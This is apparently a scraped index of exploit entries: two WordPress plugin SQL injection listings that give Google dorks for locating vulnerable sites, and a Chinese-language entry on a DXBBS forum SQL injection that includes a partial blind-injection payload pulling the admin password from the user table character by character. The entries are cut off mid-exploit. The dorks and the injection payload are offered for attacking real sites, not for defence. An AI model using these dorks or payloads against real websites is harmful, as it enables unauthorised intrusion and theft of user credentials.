wpfa-sql.txt

WordPress forumactionPAGEİDuserSQL Injection AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORK 1 : allinurl: forumaction "showprofile" DORK 2 : allinurl: pageid user "showprofile" DORK 3 : allinurl:"forum/?forumaction" showprofile&user=SQL InjectionEXPLOİT EXPLOİT 1...

WordPress Plugin st_newsletter - SQL Injection

WordPress Plugin stnewsletter - SQL Injection Wordpress Plugin stnewsletter SQL Injection AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORKS 1 : allinurl :"wp-content/plugins/stnewsletter" DORK 2 : allinurl :"shiftthis-preview.php" EXPLOIT :...

dxbbs SQL注入漏洞

DXBBS是一个基于aspx的论坛 漏洞出现在UserFriend.aspx , 由于过滤不严，造成name允许注入 DXBBS Version 7.3 http://www.dxbbs.cn/ and select top 1 ascmiduserpass,1,1 from dxbbsuser where username=''admin''=57 and select top 1 ascmiduserpass,2,1 from dxbbsuser where userna...